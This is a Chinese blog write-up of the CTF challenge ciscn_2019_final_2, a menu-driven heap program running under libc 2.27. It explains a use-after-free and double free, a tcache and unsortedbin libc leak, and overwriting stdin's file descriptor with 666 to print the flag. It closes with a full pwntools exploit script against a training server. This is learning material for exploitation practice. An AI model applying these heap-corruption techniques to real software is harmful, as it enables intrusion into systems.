ciscn_2019_final_2【write up】

本文详细描述了一次复杂的安全竞赛题目解决过程,涉及64位程序的保护机制,堆管理漏洞(如unsortedbinattack和doublefree),以及如何通过修改文件描述符(将stdin改为666)来显示flag。作者通过IDA分析程序,利用libc.2.27的特性,经过一系列内存操作泄露和控制libc地址,最终达到显示flag的目的。
摘要由CSDN通过智能技术生成

ciscn_2019_final_2

这应该是我目前做过最复杂的题目了qwq

惯例我们先来checksec一下

保护全开的64位程序

请添加图片描述

放进ida64里看看

非常标准的一道菜单题 1 添加堆 2 删除堆 3 展示堆

main函数没啥营养就不贴了

我们需要关注的一点是在init函数中我们会先用open函数打开flag文件 然后将flag的文件描述符改为666

请添加图片描述

同时我们也可以从函数列表这个找到sandbox 通过seccomp-tools工具我们可以发现我们好像啥都用不了了 因此one_gadget无法使用

请添加图片描述

allocate
请添加图片描述

delete

存在uaf漏洞

请添加图片描述

show

请添加图片描述

bye bye

本来以为这个函数没啥用 后来看了大师傅的wp才知道scanf用的是stdin,我们把stdin的文件描述符1改为666就是输出flag的内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bjqbJXHg-1681290157639)(1681218650850.png)]、

审题完毕,开始解题

开始时没啥思路 后来看了Nqoinaen师傅的文章豁然开朗 (40条消息) ciscn_2019_final_2(合并为unsortbin,doublefree)_Nqoinaen的博客-CSDN博客

目的:通过堆利用劫持_IO_2_1_stdin_结构体,修改文件描述符为666

首先我们要泄露libc的地址 因此我们考虑使用unsortedbin attack来泄露libc的地址

因此我们先申请合计3*0x20+0x30=0x90的chunk以便后面的unsortedbin利用 然后再申请一个0x20的chunk用于double free

add(1,0x11111111)#chunk 286331153
free(1)#free chunk0
add(2,0x2222)#chunk1
add(2,0x3333)#chunk2
add(2,0x4444)#chunk3
add(2,0x5555)#chunk4

接下来我们double free掉chunk4

这样已经被free掉的chunk4的fd指针就指向了它自己了

free(2)#第一次free chunk4
add(1,0x11111111) #再原先chunk0的位置再次申请一个chunk0 将bool值赋一 为第二次free做前提条件
free(2)
show(2)#通过show函数泄露chunk4的最后四位地址 然后通过这四位地址我们就可以得到chunk0的低四位地址
io.recvuntil('your short type inode number :')
heap_low_addr=int(io.recvuntil('\n')[:-1])
print('heap_low_2byte='+hex(heap_low_addr))

然后我们令bin链指向最前面申请的0x30大小的chunk,并把原本的地址清零

add(2,heap_low_addr-0xa0)#令bin链指向chunk0的size位 但此时bin中已经存储的仍是chunk4因此我们要先再申请一次chunk4后再次申请才能申请到chunk0的位置 
add(20)

接下来我们释放chunk0(注意这个被free掉的chunk0大小为0x30是进入0x30的tcache中的),然后我们再次申请0x20的chunk令我们可以修改chunk0的size位,我们将size修改为0x91令chunk0可以被放入unsortedbin中

free(1)
add(2,0x91)

接下来就是我们利用unsortedbin attack泄露libc了

由于该题的libc为libc.2.27因此tcache已经被加上了 因此我们要先将0x90大小的tcache填满后才能将chunk放入unsortedbin中

for i in range(7):#用于填满tcache的7个chunk
	free(1)
    add(2,0)#用于将bool值赋一
free(1)#将chunk0放入unsortedbin中 由于此时unsortedbin只有一个因此它的fd与bk均指向一个位置
show(1)#泄露main_arena+96地址的后八位
io.recvuntil('your int type inode number :')
main_arena_low_4byte=int(io.recvuntil('\n')[:-1])-96
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']#通过mainarena我们可以得出libc_base
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70#得到stdin_dilno我们的目标就是将该地址上存储的内容改为666

然后我们再次利用add将chunk0的后4位改成stdin_filno的后四位 这样我们就将tcache中的size0x30的fd指针指向了stdin_filno,同样由于在更改前tcache上的下一个chunk的位置已经固定因此我们要先多申请一个chunk然后下一个才能将chunk分配在我们的目标位置 即stdin_filno上 然后我们将内容篡改为666这样当我们执行leave时scanf读取的就是flag文件上的内容了就可以输出flag的值了

add(2,stdin_filno_low_4byte)
add(1,0)
add(1,666)
leave('a')

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k8MsIi2Z-1681290157640)(1681287548109.png)]

exp:

from pwn import *
io=remote('node4.buuoj.cn',26111)
context.log_level='debug'
elf=ELF('./ciscn_final_2')
libc=ELF('./libc-2.27.so')
def add(choice,number):
	io.recvuntil('> ')
	io.sendline(b'1')
	io.recvuntil('>')
	io.sendline(str(choice))
	io.recvuntil('your inode number:')
	io.sendline(str(number))

def free(number):
	io.recvuntil('> ')
	io.sendline(b'2')
	io.recvuntil('>')
	io.sendline(str(number))
	
def show(number):
	io.recvuntil('> ')
	io.sendline(b'3')
	io.recvuntil('>')
	io.sendline(str(number))

def leave(content):
	io.recvuntil('> ')
	io.sendline(b'4')
	io.recvuntil('what do you want to say at last? \n')
	io.sendline(content)
	
add(1,0x11111111)#chunk 286331153
free(1)#free chunk0
add(2,0x2222)#chunk1
add(2,0x3333)#chunk2
add(2,0x4444)#chunk3
add(2,0x5555)#chunk4
free(2)
add(1,0x11111111)
free(2)
show(2)
io.recvuntil('your short type inode number :')
heap_low_addr=int(io.recvuntil('\n')[:-1])
print('heap_low_2byte='+hex(heap_low_addr))
add(2,heap_low_addr-0xa0)
add(2,0)
free(1)
add(2,0x91)
for i in range(7):
	free(1)
	add(2,0)
free(1)
show(1)
io.recvuntil('your int type inode number :')
main_arena_low_4byte=int(io.recvuntil('\n')[:-1])-96
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70
add(2,stdin_filno_low_4byte)
add(1,0)
add(1,666)
leave('a')
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值